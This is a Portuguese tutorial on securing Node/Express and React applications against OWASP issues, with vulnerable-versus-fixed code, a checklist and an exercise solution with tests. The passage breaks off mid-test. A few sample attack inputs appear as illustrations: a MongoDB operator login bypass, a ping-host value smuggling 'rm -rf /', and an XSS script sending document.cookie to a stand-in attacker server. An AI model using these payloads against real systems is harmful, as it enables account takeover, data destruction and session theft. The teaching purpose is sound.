Segurança em aplicações web

[126] Segurança em aplicações web

Segurança não é etapa final, é decisão em cada linha. O artigo percorre as falhas que a OWASP vê primeiro em aplicação JavaScript: injeção em NoSQL e em comando, XSS e o que o DOMPurify resolve, senha com bcrypt, JWT e seu preço, limite de tentativas, CORS, headers do Helmet e controle de acesso por dono.
Javascript

36 min de leitura

Segurança não é um recurso que você adiciona ao final do projeto — é uma camada que permeia cada decisão de desenvolvimento. Uma aplicação insegura pode expor dados pessoais de usuários, permitir que atacantes assumam contas, ou destruir anos de trabalho em minutos.

A boa notícia é que a maioria dos ataques explora vulnerabilidades bem conhecidas e documentadas. Entender como esses ataques funcionam é o primeiro passo para se defender deles. A OWASP (Open Web Application Security Project) mantém uma lista atualizada das dez vulnerabilidades mais críticas em aplicações web — este artigo cobre as mais relevantes para desenvolvedores JavaScript.

1. Injeção — SQL, NoSQL e Command Injection

Ataques de injeção acontecem quando dados fornecidos pelo usuário são interpretados como comandos pelo sistema. É a vulnerabilidade mais antiga e ainda devastadoramente comum.

O princípio do ataque é sempre o mesmo: o atacante insere caracteres especiais em um campo de formulário ou parâmetro de URL que alteram a lógica de uma consulta ou comando.

// ── INJEÇÃO EM MONGODB (NoSQL Injection) ───────────
// O Mongoose protege automaticamente contra a maioria dos casos,
// mas é importante entender o que pode acontecer sem proteção.

// ❌ VULNERÁVEL — confia cegamente nos dados recebidos
app.post('/login', async (req, res) => {
  const { email, senha } = req.body;

  // Se o atacante enviar: { "email": { "$gt": "" }, "senha": { "$gt": "" } }
  // O MongoDB interpreta { "$gt": "" } como "maior que string vazia"
  // isso retorna QUALQUER usuário do banco — autenticação bypassada!
  const usuario = await Usuario.findOne({ email, senha });

  if (usuario) res.json({ token: gerarToken(usuario) });
});

// ✅ SEGURO — valida tipos antes de usar
app.post('/login', async (req, res) => {
  const { email, senha } = req.body;

  // Verifica que os valores são strings — operadores MongoDB são objetos
  if (typeof email !== 'string' || typeof senha !== 'string') {
    return res.status(400).json({ erro: 'Formato de dados inválido.' });
  }

  // Sanitiza removendo caracteres que não pertencem a um email
  const emailLimpo = email.trim().toLowerCase();

  // Nunca compara senha em texto puro no banco — usa bcrypt
  const usuario = await Usuario.findOne({ email: emailLimpo }).select('+senha');
  if (!usuario) return res.status(401).json({ erro: 'Credenciais inválidas.' });

  const senhaCorreta = await bcrypt.compare(senha, usuario.senha);
  if (!senhaCorreta) return res.status(401).json({ erro: 'Credenciais inválidas.' });

  res.json({ token: gerarToken(usuario._id) });
});
// ── COMMAND INJECTION ───────────────────────────────
// Nunca execute comandos do sistema com dados do usuário

// ❌ CATASTRÓFICO — permite executar qualquer comando no servidor
const { exec } = require('child_process');

app.get('/ping', (req, res) => {
  const host = req.query.host;
  // Atacante envia: host=google.com; rm -rf /
  // O servidor executa: ping google.com; rm -rf /
  exec(`ping -c 1 ${host}`, (erro, stdout) => res.send(stdout));
});

// ✅ SEGURO — valida estritamente o input antes de qualquer operação
app.get('/ping', (req, res) => {
  const host = req.query.host;

  // Permite apenas caracteres válidos em hostnames
  // Rejeita qualquer tentativa de injetar comandos
  const hostValido = /^[a-zA-Z0-9.-]{1,253}$/.test(host);
  if (!hostValido) {
    return res.status(400).json({ erro: 'Host inválido.' });
  }

  // Passa o argumento como array — não como string concatenada
  // Isso impede interpretação de caracteres especiais do shell
  const { execFile } = require('child_process');
  execFile('ping', ['-c', '1', host], (erro, stdout) => {
    if (erro) return res.status(500).json({ erro: 'Falha no ping.' });
    res.send(stdout);
  });
});

Regra de ouro contra injeção: trate todo dado externo como não confiável. Valide tipos, use parâmetros em vez de concatenação de strings, e nunca construa comandos com dados do usuário.

2. Cross-Site Scripting (XSS)

XSS acontece quando um atacante consegue inserir JavaScript malicioso em uma página que será executado no navegador de outras pessoas. É a vulnerabilidade mais comum em aplicações web.

Imagine um campo de comentários onde o atacante digita <script>fetch("https://servidor-do-atacante.com?c="+document.cookie)</script>. Se o site exibir esse comentário sem sanitizar, o script roda no navegador de todos que abrirem a página, e o que ele faz é escolha de quem atacou: enviar os cookies de sessão, ler o que estiver no localStorage, registrar o que for digitado ou disparar requisições em nome da vítima — tudo com a identidade dela, porque o código executa dentro do seu domínio.

// ── XSS NO BACK-END ─────────────────────────────────

// ❌ VULNERÁVEL — retorna HTML sem sanitizar dados do banco
app.get('/perfil/:id', async (req, res) => {
  const usuario = await Usuario.findById(req.params.id);
  // Se usuario.bio contiver <script>..., será executado no navegador
  res.send(`<div class="bio">${usuario.bio}</div>`);
});

// ✅ SEGURO — use um sanitizador de HTML ou evite HTML dinâmico
// npm install dompurify jsdom
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.get('/perfil/:id', async (req, res) => {
  const usuario = await Usuario.findById(req.params.id);

  // Remove tags e atributos perigosos, mantém HTML formatado legítimo
  const bioSegura = DOMPurify.sanitize(usuario.bio, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
    ALLOWED_ATTR: [],  // nenhum atributo permitido (evita onclick, etc.)
  });

  res.send(`<div class="bio">${bioSegura}</div>`);
});

// ── HEADERS DE SEGURANÇA COM HELMET ─────────────────
// O Helmet configura automaticamente vários headers que protegem contra XSS
// npm install helmet
const helmet = require('helmet');
app.use(helmet());

// Content-Security-Policy: define quais scripts podem executar
// Isso é a defesa em profundidade contra XSS — mesmo se injetar script,
// o navegador bloqueia a execução se não vier de fonte aprovada
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],         // só recursos do próprio domínio
      scriptSrc: ["'self'"],          // sem scripts inline, sem CDNs não listados
      styleSrc: ["'self'", "'unsafe-inline'"],  // permite estilos inline (comum em React)
      imgSrc: ["'self'", 'data:', 'https:'],    // imagens do próprio domínio ou https
      connectSrc: ["'self'", process.env.API_URL],  // conexões apenas para a API
      // Atenção: fonts.googleapis.com serve o CSS; os ARQUIVOS de fonte vêm de
      // fonts.gstatic.com. Trocar os dois é o erro clássico de CSP com Google
      // Fonts — a folha de estilo carrega e as fontes são bloqueadas em silêncio.
      fontSrc: ["'self'", 'https://fonts.gstatic.com'],
      objectSrc: ["'none'"],          // bloqueia plugins (Flash, etc.)
      upgradeInsecureRequests: [],    // força HTTPS
    },
  })
);
// ── XSS NO FRONT-END REACT ──────────────────────────
// O React escapa automaticamente o conteúdo inserido via JSX — isso já é
// uma defesa poderosa. O problema aparece quando usamos dangerouslySetInnerHTML.

// ❌ PERIGOSO — executa qualquer HTML/script do banco
function Comentario({ texto }) {
  // Se texto contiver <script>alert('xss')</script>, vai executar
  return <div dangerouslySetInnerHTML={{ __html: texto }} />;
}

// ✅ SEGURO — sanitiza antes de renderizar HTML
// npm install dompurify
import DOMPurify from 'dompurify';

function Comentario({ texto }) {
  // DOMPurify remove tags e atributos perigosos antes de renderizar
  const textoSeguro = DOMPurify.sanitize(texto, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'a'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  });

  return <div dangerouslySetInnerHTML={{ __html: textoSeguro }} />;
}

// ✅ MELHOR AINDA — evite dangerouslySetInnerHTML sempre que possível
// Se o texto é plain text, o React já escapa automaticamente:
function Comentario({ texto }) {
  return <p>{texto}</p>; // '{texto}' é sempre escapado pelo React
}

3. Autenticação e Gerenciamento de Sessão

Erros de autenticação são particularmente graves porque dão ao atacante acesso total à conta do usuário. Vamos cobrir as práticas essenciais.

// ── JWT — configuração segura ────────────────────────
const jwt = require('jsonwebtoken');

// ❌ JWT inseguro — chave fraca, algoritmo padrão sem verificação
const tokenInseguro = jwt.sign({ userId: 1 }, 'senha123');

// ✅ JWT seguro — chave forte, expiração, algoritmo explícito
function gerarToken(userId) {
  return jwt.sign(
    {
      id: userId,
      // iat (issued at) é adicionado automaticamente pelo jwt.sign
    },
    process.env.JWT_SECRET,  // mínimo 256 bits — gere com crypto.randomBytes(64)
    {
      expiresIn: '15m',      // tokens de acesso devem ser de curta duração
      algorithm: 'HS256',    // sempre especifique o algoritmo explicitamente
      issuer: 'api-gestao',  // identifica quem emitiu o token
      audience: 'app-gestao', // identifica para quem o token é destinado
    }
  );
}

// Token de refresh — vida longa, armazenado com mais segurança
function gerarRefreshToken(userId) {
  return jwt.sign(
    { id: userId, tipo: 'refresh' },
    process.env.JWT_REFRESH_SECRET,  // chave diferente do access token
    { expiresIn: '7d' }
  );
}

// Verificação robusta do token
function verificarToken(token) {
  try {
    return jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],  // rejeita tokens com algoritmo diferente
      issuer: 'api-gestao',
      audience: 'app-gestao',
    });
  } catch (erro) {
    if (erro.name === 'TokenExpiredError') {
      throw new Error('Token expirado. Faça login novamente.');
    }
    if (erro.name === 'JsonWebTokenError') {
      throw new Error('Token inválido.');
    }
    throw erro;
  }
}
// ── SENHAS — armazenamento seguro ────────────────────
const bcrypt = require('bcrypt');

// ❌ NUNCA armazene senhas em texto puro ou com hash fraco (MD5, SHA1)
const senhaInsegura = md5(senha); // MD5 é completamente quebrável

// ✅ Use bcrypt com fator de custo adequado
// Fator 12 é o padrão atual — leva ~250ms por hash (dificulta força bruta)
// Aumente conforme o hardware melhorar: 13 ou 14 em servidores modernos

async function hashSenha(senhaTexto) {
  const saltRounds = 12;
  return bcrypt.hash(senhaTexto, saltRounds);
}

async function verificarSenha(senhaTexto, senhaHash) {
  return bcrypt.compare(senhaTexto, senhaHash);
}

// ── PROTEÇÃO CONTRA TIMING ATTACKS ──────────────────
// Nunca retorne erros diferentes para "usuário não existe" vs "senha errada"
// Isso permite que atacantes descubram quais emails estão cadastrados

// ❌ Vaza informação sobre usuários existentes
app.post('/login', async (req, res) => {
  const usuario = await Usuario.findOne({ email: req.body.email });
  if (!usuario) return res.status(401).json({ erro: 'Usuário não encontrado.' }); // ❌
  const ok = await bcrypt.compare(req.body.senha, usuario.senha);
  if (!ok) return res.status(401).json({ erro: 'Senha incorreta.' }); // ❌
});

// ✅ Mesma mensagem para ambos os casos
app.post('/login', async (req, res) => {
  const usuario = await Usuario.findOne({ email: req.body.email }).select('+senha');

  // Faz o compare mesmo se o usuário não existir
  // Isso garante tempo de resposta constante — evita timing attacks
  const senhaFalsa = '$2b$12$invalidhashforcomparison.....'; // hash inválido
  const senhaHash = usuario?.senha || senhaFalsa;
  const senhaCorreta = await bcrypt.compare(req.body.senha, senhaHash);

  if (!usuario || !senhaCorreta) {
    return res.status(401).json({ erro: 'Credenciais inválidas.' }); // ✅ mesma msg
  }

  res.json({ token: gerarToken(usuario._id) });
});

4. Rate Limiting — proteção contra força bruta

Rate limiting limita quantas requisições um mesmo IP pode fazer em um período. Sem isso, um atacante pode tentar milhões de combinações de senha por hora.

// npm install express-rate-limit
const rateLimit = require('express-rate-limit');

// Limite global — aplica a toda a API
// 100 requisições por 15 minutos por IP
const limiteGeral = rateLimit({
  windowMs: 15 * 60 * 1000,  // janela de 15 minutos
  max: 100,                    // máximo de requisições por janela
  standardHeaders: true,       // inclui headers RateLimit-* na resposta
  legacyHeaders: false,        // não inclui headers X-RateLimit-* deprecados
  message: {
    erro: 'Muitas requisições. Tente novamente em 15 minutos.',
    status: 429,
  },
});

// Limite específico para autenticação — muito mais restritivo
// 5 tentativas de login por 15 minutos por IP
const limiteAuth = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  skipSuccessfulRequests: true,  // logins bem-sucedidos não contam no limite
  message: {
    erro: 'Muitas tentativas de login. Tente novamente em 15 minutos.',
    status: 429,
  },
});

// Aplicando os limitadores
app.use(limiteGeral);                          // toda a API
app.use('/auth/login', limiteAuth);            // apenas login
app.use('/auth/registrar', limiteAuth);        // e registro
app.use('/auth/esqueci-senha', limiteAuth);    // e recuperação de senha

5. CORS — configuração correta

CORS (Cross-Origin Resource Sharing) define quais domínios podem fazer requisições para sua API. Uma configuração incorreta pode expor sua API a qualquer site na internet.

// npm install cors
const cors = require('cors');

// ❌ CORS aberto demais — qualquer site do mundo acessa sua API
app.use(cors()); // aceita qualquer origem — nunca faça isso em produção

// ✅ CORS configurado corretamente
const origensPermitidas = [
  'https://meuapp.vercel.app',
  'https://www.meuapp.com.br',
  // Em desenvolvimento, adiciona o localhost
  ...(process.env.NODE_ENV === 'development' ? ['http://localhost:5173'] : []),
];

app.use(
  cors({
    origin: (origin, callback) => {
      // Permite requisições sem origin (ex: curl, Postman, apps mobile)
      // Em produção você pode querer bloquear isso também
      if (!origin || origensPermitidas.includes(origin)) {
        callback(null, true);
      } else {
        callback(new Error(`Origem não permitida pelo CORS: ${origin}`));
      }
    },
    methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
    allowedHeaders: ['Content-Type', 'Authorization'],
    credentials: true,         // permite cookies e headers de auth
    maxAge: 86400,             // cacheia preflight por 24 horas
  })
);

6. Validação e sanitização de entrada

Toda entrada de dados deve ser validada no servidor — nunca confie na validação do front-end. O front-end pode ser bypassado facilmente com ferramentas como o Postman.

// npm install zod
const { z } = require('zod');

// Define o schema com todas as regras de validação
const schemaCriarUsuario = z.object({
  nome: z
    .string({ required_error: 'Nome é obrigatório.' })
    .min(2, 'Nome deve ter pelo menos 2 caracteres.')
    .max(100, 'Nome não pode exceder 100 caracteres.')
    .trim(),

  email: z
    .string({ required_error: 'Email é obrigatório.' })
    .email('Email inválido.')
    .toLowerCase()
    .trim(),

  senha: z
    .string({ required_error: 'Senha é obrigatória.' })
    .min(8, 'Senha deve ter pelo menos 8 caracteres.')
    // Exige pelo menos uma letra maiúscula, um número e um caractere especial
    .regex(
      /^(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
      'Senha deve conter maiúscula, número e caractere especial.'
    ),

  idade: z
    .number()
    .int('Idade deve ser um número inteiro.')
    .min(0, 'Idade inválida.')
    .max(150, 'Idade inválida.')
    .optional(),
});

// Middleware de validação reutilizável
// Recebe um schema Zod e retorna um middleware do Express
function validar(schema) {
  return (req, res, next) => {
    try {
      // parse() lança erro se os dados não passarem na validação
      // Também transforma os dados (trim, toLowerCase, etc.)
      req.body = schema.parse(req.body);
      next();
    } catch (erro) {
      if (erro instanceof z.ZodError) {
        // Formata os erros de forma legível
        const detalhes = erro.errors.map((e) => `${e.path.join('.')}: ${e.message}`);
        return res.status(422).json({
          erro: 'Dados inválidos.',
          detalhes,
        });
      }
      next(erro);
    }
  };
}

// Usando nas rotas
app.post('/auth/registrar', validar(schemaCriarUsuario), async (req, res) => {
  // req.body agora tem tipos corretos e dados sanitizados
  const { nome, email, senha } = req.body;
  // ...
});

7. Proteção de rotas sensíveis e dados

Algumas proteções simples que fazem grande diferença no dia a dia.

// ── NUNCA EXPONHA DADOS SENSÍVEIS ────────────────────

// ❌ Retorna a senha (mesmo que em hash) e dados internos
app.get('/usuarios/:id', async (req, res) => {
  const usuario = await Usuario.findById(req.params.id);
  res.json(usuario); // inclui senha, __v, datas internas, etc.
});

// ✅ Seleciona apenas os campos necessários
app.get('/usuarios/:id', autenticar, async (req, res) => {
  const usuario = await Usuario.findById(
    req.params.id,
    // Projeção — retorna apenas estes campos
    'nome email papel criadoEm'
    // Senha nunca é retornada (select: false no schema + não listada aqui)
  );
  res.json(usuario);
});

// ── GARANTA QUE USUÁRIOS SÓ ACESSAM SEUS PRÓPRIOS DADOS ──

// ❌ Qualquer usuário logado pode ver/editar tarefas de qualquer outro
app.get('/tarefas/:id', autenticar, async (req, res) => {
  const tarefa = await Tarefa.findById(req.params.id);
  res.json(tarefa);
});

// ✅ Filtra sempre pelo usuário autenticado
app.get('/tarefas/:id', autenticar, async (req, res) => {
  const tarefa = await Tarefa.findOne({
    _id: req.params.id,
    usuario: req.usuario._id,  // garante que é dono da tarefa
  });

  if (!tarefa) {
    // Retorna 404 (não 403) — não confirmamos que o recurso existe
    return res.status(404).json({ erro: 'Tarefa não encontrada.' });
  }

  res.json(tarefa);
});

// ── VARIÁVEIS DE AMBIENTE NUNCA EXPOSTAS ─────────────

// ❌ Expõe configurações do servidor
app.get('/debug', (req, res) => {
  res.json(process.env); // expõe JWT_SECRET, MONGODB_URL, etc.
});

// ✅ Health check expõe apenas o necessário
app.get('/health', (req, res) => {
  res.json({
    status: 'ok',
    ambiente: process.env.NODE_ENV,
    uptime: Math.floor(process.uptime()) + 's',
    // Nunca inclua process.env aqui
  });
});

8. Headers de segurança com Helmet

O Helmet configura uma série de headers HTTP que protegem contra diferentes tipos de ataque. É uma das adições mais simples e eficazes que você pode fazer.

const helmet = require('helmet');

// Aplica todos os headers de segurança padrão
app.use(helmet());

// Os headers que o Helmet configura e o que cada um faz:
//
// Content-Security-Policy
//   → Define quais recursos (scripts, estilos, imagens) podem ser carregados
//   → Principal defesa contra XSS
//
// X-Content-Type-Options: nosniff
//   → Impede que o navegador "adivinhe" o tipo de conteúdo
//   → Evita que um script disfarçado de imagem execute
//
// X-Frame-Options: SAMEORIGIN
//   → Impede que sua página seja carregada em um iframe de outro domínio
//   → Protege contra clickjacking
//
// Strict-Transport-Security (HSTS)
//   → Força HTTPS — o navegador nunca usará HTTP novamente para este domínio
//   → Protege contra downgrade attacks
//
// X-XSS-Protection
//   → Ativa o filtro XSS nativo de browsers mais antigos
//
// Referrer-Policy: no-referrer
//   → Controla quanta informação de URL é enviada em requisições cross-origin

9. Proteção contra CSRF

CSRF (Cross-Site Request Forgery) faz com que um usuário autenticado execute ações indesejadas sem saber. Como usamos JWT em headers, e não em cookies, estamos naturalmente protegidos — o navegador anexa cookies sozinho a toda requisição para o domínio, mas nunca inventa um cabeçalho Authorization.

Isso não é ganho de graça, é uma troca. Para mandar o token no cabeçalho, o JavaScript precisa lê-lo — e o lugar usual é o localStorage, que é acessível a qualquer script da página. Um único XSS bem-sucedido rouba o token inteiro. Já um cookie httpOnly é invisível ao JavaScript, e nem o próprio XSS o extrai — em compensação, volta a exigir defesa contra CSRF. Em resumo: token no cabeçalho troca risco de CSRF por risco de XSS. O desenho mais seguro hoje combina os dois mundos: cookie httpOnly com SameSite, mais um token curto de acesso, o que exige cuidar de CSRF mas sobrevive a um XSS. Escolher sabendo do custo é o que importa; achar que uma das opções é gratuita, não.

// Com JWT em Authorization header: imune a CSRF por design
// O atacante não consegue definir headers customizados em requisições cross-origin

// Se você usar cookies para armazenar o JWT, precisa de proteção CSRF:
// O pacote csurf foi DESCONTINUADO e arquivado em 2022 — não use.
// Hoje as opções são o csrf-csrf, mantido, ou implementar o padrão
// Double Submit Cookie à mão, que é simples: um token aleatório vai num
// cookie legível e o mesmo valor é enviado num header; o servidor compara.

// Configurando cookies de forma segura (se necessário)
res.cookie('token', jwtToken, {
  httpOnly: true,     // inacessível via JavaScript (protege contra XSS)
  secure: true,       // apenas HTTPS
  sameSite: 'strict', // não envia em requisições cross-origin (protege contra CSRF)
  maxAge: 7 * 24 * 60 * 60 * 1000,  // 7 dias em milissegundos
});

10. Dependências seguras

Uma aplicação Node.js típica tem centenas de dependências. Qualquer uma delas pode ter uma vulnerabilidade conhecida.

# Verificar vulnerabilidades nas dependências
npm audit

# Saída típica:
# found 3 vulnerabilities (1 low, 1 moderate, 1 high)
# run `npm audit fix` to fix them

# Corrigir automaticamente (quando possível)
npm audit fix

# Para atualizações que quebram a API (major versions):
npm audit fix --force  # use com cuidado — pode quebrar o projeto

# Verificar dependências desatualizadas
npm outdated

# Atualizar uma dependência específica
npm update express

# Remover dependências não usadas
npx depcheck
// package.json — configurando auditoria no CI/CD
{
  "scripts": {
    "audit": "npm audit --audit-level=high",
    "quality": "npm run format:check && npm run lint && npm run audit && npm test"
  }
}
# .github/workflows/seguranca.yml
# Roda semanalmente para verificar novas vulnerabilidades
name: Auditoria de Segurança

on:
  schedule:
    # Todo domingo às 9h
    - cron: '0 9 * * 0'
  push:
    branches: [main]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
          cache: 'npm'
      - run: npm ci
      # Falha se houver vulnerabilidades de severidade alta ou crítica
      - run: npm audit --audit-level=high

Checklist de segurança

Assim como o checklist de deploy, este deve ser revisado antes de qualquer lançamento.

Autenticação e Senhas
─────────────────────────────────────────────────────────
[ ] Senhas armazenadas com bcrypt (fator >= 12)
[ ] JWT com chave forte (>= 256 bits), expiração curta
[ ] Rate limiting em /login, /registrar, /esqueci-senha
[ ] Mesma mensagem de erro para "usuário não existe" e "senha errada"
[ ] Tokens de refresh com chave separada e revogação implementada

Dados e Validação
─────────────────────────────────────────────────────────
[ ] Toda entrada validada no servidor (não só no front-end)
[ ] Tipos verificados antes de queries ao banco
[ ] Usuários só acessam seus próprios dados
[ ] Campos sensíveis com select: false no schema
[ ] Resposta nunca inclui senha, tokens ou dados internos

Headers e Transporte
─────────────────────────────────────────────────────────
[ ] Helmet instalado e configurado
[ ] CORS restrito às origens conhecidas
[ ] HTTPS em produção (Vercel e Railway fazem isso automaticamente)
[ ] Cookies com httpOnly, secure, sameSite se utilizados

Infraestrutura
─────────────────────────────────────────────────────────
[ ] Variáveis de ambiente em .gitignore
[ ] .env.example documentado para o time
[ ] npm audit sem vulnerabilidades altas ou críticas
[ ] Dependências atualizadas regularmente
[ ] Logs não expõem dados sensíveis (senhas, tokens, CPF)

Tarefa para você

Aplique as proteções aprendidas na API do Módulo 4:

// 1. Instale e configure o Helmet
//    Verifique os headers de segurança com:
//    curl -I https://sua-api.railway.app/health

// 2. Adicione rate limiting com express-rate-limit:
//    - 100 req/15min para rotas gerais
//    - 5 req/15min para /auth/login e /auth/registrar

// 3. Substitua todas as validações manuais por schemas Zod:
//    - schemaCriarUsuario
//    - schemaLogin
//    - schemaCriarProduto
//    - schemaAtualizarProduto
//    - schemaCriarTarefa

// 4. Verifique que todas as rotas de tarefas filtram pelo req.usuario._id
//    Teste com curl tentando acessar tarefa de outro usuário:
//    curl -H "Authorization: Bearer TOKEN_USUARIO_A" 
//         https://api/tarefas/ID_DA_TAREFA_DO_USUARIO_B
//    Deve retornar 404, nunca 403 (não confirmamos a existência)

// 5. Configure CORS em produção restrito apenas ao domínio do front-end

// 6. Rode npm audit e corrija todas as vulnerabilidades altas

// 7. Verifique o .gitignore — rode este comando e confirme que .env
//    não aparece na lista de arquivos rastreados:
//    git ls-files | grep -E ".env"
//    Se aparecer, remova com: git rm --cached .env
Ver solução — as sete proteções, com os 15 testes que as provam
// ---- src/middlewares/seguranca.js
// 1, 2 e 5 — HELMET, RATE LIMITING E CORS
//
// npm install helmet express-rate-limit cors
const helmet = require("helmet");
const rateLimit = require("express-rate-limit");
const cors = require("cors");

// 1 — Helmet. Os padrões já servem; o que muda é o que a API precisa.
const cabecalhos = helmet({
  // API JSON não serve HTML, então a CSP padrão do Helmet não protege nada
  // aqui — mas atrapalha se você servir a documentação do Swagger na mesma
  // aplicação. Deixe explícito o que está fazendo.
  contentSecurityPolicy: false,
  // Só faz sentido com HTTPS já no ar; em dev, o navegador guardaria o
  // localhost como "sempre https" e você passaria uma tarde depurando isso.
  hsts: process.env.NODE_ENV === "producao",
  crossOriginResourcePolicy: { policy: "cross-origin" },
});

// 2 — Rate limiting em duas camadas.
const limiteGeral = rateLimit({
  windowMs: 15 * 60 * 1000,
  limit: 100,
  standardHeaders: "draft-7",   // RateLimit-* padronizados
  legacyHeaders: false,         // sem os X-RateLimit-* antigos
  message: { erro: "Muitas requisições. Tente novamente em alguns minutos." },
});

const limiteAutenticacao = rateLimit({
  windowMs: 15 * 60 * 1000,
  limit: 5,
  // Só conta o que falhou: quem acerta a senha não gasta a cota, e o
  // limite passa a proteger contra força bruta sem punir o usuário legítimo.
  skipSuccessfulRequests: true,
  standardHeaders: "draft-7",
  legacyHeaders: false,
  message: { erro: "Muitas tentativas de login. Aguarde 15 minutos." },
});

// 5 — CORS restrito ao domínio do front-end em produção.
const origensPermitidas = (process.env.FRONTEND_URL || "http://localhost:5173")
  .split(",")
  .map((o) => o.trim());

const politicaCors = cors({
  origin(origem, callback) {
    // Sem Origin = curl, Postman, app móvel. Não é navegador, o CORS não
    // se aplica — bloquear aqui não protege nada e quebra os healthchecks.
    if (!origem) return callback(null, true);
    if (origensPermitidas.includes(origem)) return callback(null, true);
    callback(new Error(`Origem não permitida: ${origem}`));
  },
  credentials: true,
  methods: ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
});

module.exports = { cabecalhos, limiteGeral, limiteAutenticacao, politicaCors };

// ---- src/validacao/schemas.js
// 3 — OS SCHEMAS ZOD
const { z } = require("zod");

const senha = z
  .string()
  .min(8, "Senha deve ter pelo menos 8 caracteres.")
  .regex(/[a-z]/, "Senha precisa de uma letra minúscula.")
  .regex(/[A-Z]/, "Senha precisa de uma letra maiúscula.")
  .regex(/[0-9]/, "Senha precisa de um número.");

const schemaCriarUsuario = z.object({
  nome: z.string().trim().min(2, "Nome deve ter pelo menos 2 caracteres.").max(120),
  email: z.string().trim().toLowerCase().email("Email inválido."),
  senha,
});

const schemaLogin = z.object({
  email: z.string().trim().toLowerCase().email("Email inválido."),
  // No login não se valida força de senha: a regra pode ter mudado desde o
  // cadastro, e a mensagem detalhada entregaria o formato ao atacante.
  senha: z.string().min(1, "Senha é obrigatória."),
});

const schemaCriarProduto = z.object({
  nome: z.string().trim().min(2).max(200),
  preco: z.number().positive("Preço deve ser maior que zero."),
  estoque: z.number().int().nonnegative().default(0),
  ativo: z.boolean().default(true),
  tags: z.array(z.string().trim()).max(10).default([]),
});

// .partial() gera o schema de atualização a partir do de criação — uma
// fonte de verdade só. O .refine impede o PATCH vazio, que passaria batido.
const schemaAtualizarProduto = schemaCriarProduto
  .partial()
  .refine((dados) => Object.keys(dados).length > 0, {
    message: "Envie pelo menos um campo para atualizar.",
  });

const schemaCriarTarefa = z.object({
  titulo: z.string().trim().min(1, "Título é obrigatório.").max(200),
  descricao: z.string().trim().max(2000).default(""),
  status: z.enum(["pendente", "em_progresso", "concluida", "cancelada"]).default("pendente"),
  prioridade: z.enum(["baixa", "media", "alta"]).default("media"),
  prazo: z.coerce.date().nullable().default(null),
  tags: z.array(z.string()).default([]),
});

module.exports = {
  schemaCriarUsuario,
  schemaLogin,
  schemaCriarProduto,
  schemaAtualizarProduto,
  schemaCriarTarefa,
};

// ---- src/middlewares/validar.js
// Fábrica de middleware: `validar(schema)` valida o corpo; `validar(schema,
// "query")` valida a query string.
function validar(schema, onde = "body") {
  return (req, res, next) => {
    const resultado = schema.safeParse(req[onde]);

    if (!resultado.success) {
      return res.status(422).json({
        erro: "Dados inválidos.",
        detalhes: resultado.error.issues.map((i) => ({
          campo: i.path.join(".") || onde,
          mensagem: i.message,
        })),
      });
    }

    // Substituir pelo valor PARSEADO é metade do ganho: vem com trim,
    // lowercase, defaults aplicados e os tipos convertidos. Sem isso você
    // valida uma coisa e usa outra.
    req[onde] = resultado.data;
    next();
  };
}

module.exports = { validar };

// ---- src/app.js
// A ordem em que tudo se encaixa
const express = require("express");
const { cabecalhos, limiteGeral, limiteAutenticacao, politicaCors } = require("./middlewares/seguranca");
const { validar } = require("./middlewares/validar");
const { schemaCriarTarefa, schemaLogin } = require("./validacao/schemas");
const { naoEncontrado, tratadorDeErros } = require("./middlewares/erros");
const { autenticar } = require("./middlewares/auth");
const ctrl = require("./controllers/tarefaController");

function criarApp() {
  const app = express();

  // A ordem importa: cabeçalhos antes de tudo, para valerem inclusive nas
  // respostas de erro; o parser de JSON com limite, senão um corpo de 200 MB
  // é aceito antes de qualquer validação.
  app.use(cabecalhos);
  app.use(politicaCors);
  app.use(express.json({ limit: "100kb" }));

  app.get("/health", (req, res) =>
    res.json({ status: "ok", timestamp: new Date().toISOString() })
  );

  // O limite estrito vem ANTES do geral nas rotas de auth.
  app.post("/auth/login", limiteAutenticacao, validar(schemaLogin), (req, res) =>
    res.status(401).json({ erro: "Credenciais inválidas." })
  );

  app.use(limiteGeral);

  app.get("/tarefas", autenticar, ctrl.listar);
  app.get("/tarefas/:id", autenticar, ctrl.buscarUma);
  app.post("/tarefas", autenticar, validar(schemaCriarTarefa), ctrl.criar);

  app.use(naoEncontrado);
  app.use(tratadorDeErros);
  return app;
}

module.exports = { criarApp };

// ---- testes/integracao/seguranca.test.js
// OS TESTES — 15, todos passando
const request = require("supertest");
const { criarApp } = require("../../src/appSeguro");
const Tarefa = require("../../src/models/Tarefa");
const { usuarioComToken } = require("../ajudantes");

jest.mock("../../src/servicos/notificacao", () => ({
  notificarTarefaCriada: jest.fn().mockResolvedValue({ ok: true }),
}));

// Cada describe monta um app novo: o rate limit guarda contagem em memória,
// e reaproveitar o app faria um teste derrubar o outro.
describe("1 — Helmet", () => {
  it("põe os cabeçalhos de segurança", async () => {
    const resposta = await request(criarApp()).get("/health");

    expect(resposta.headers["x-content-type-options"]).toBe("nosniff");
    expect(resposta.headers["x-frame-options"]).toBe("SAMEORIGIN");
    expect(resposta.headers["referrer-policy"]).toBe("no-referrer");
    expect(resposta.headers["x-dns-prefetch-control"]).toBe("off");
  });

  it("esconde o x-powered-by do Express", async () => {
    const resposta = await request(criarApp()).get("/health");
    expect(resposta.headers["x-powered-by"]).toBeUndefined();
  });
});

describe("2 — rate limiting", () => {
  it("bloqueia a 6ª tentativa de login com 429", async () => {
    const app = criarApp();
    const tentar = () =>
      request(app).post("/auth/login").send({ email: "a@b.com", senha: "errada" });

    for (let i = 0; i < 5; i++) expect((await tentar()).status).toBe(401);

    const bloqueado = await tentar();
    expect(bloqueado.status).toBe(429);
    expect(bloqueado.body.erro).toMatch(/tentativas/i);
  });

  it("expõe o cabeçalho RateLimit do draft-7 nas rotas limitadas", async () => {
    const resposta = await request(criarApp()).get("/tarefas");   // 401, mas passa pelo limiter

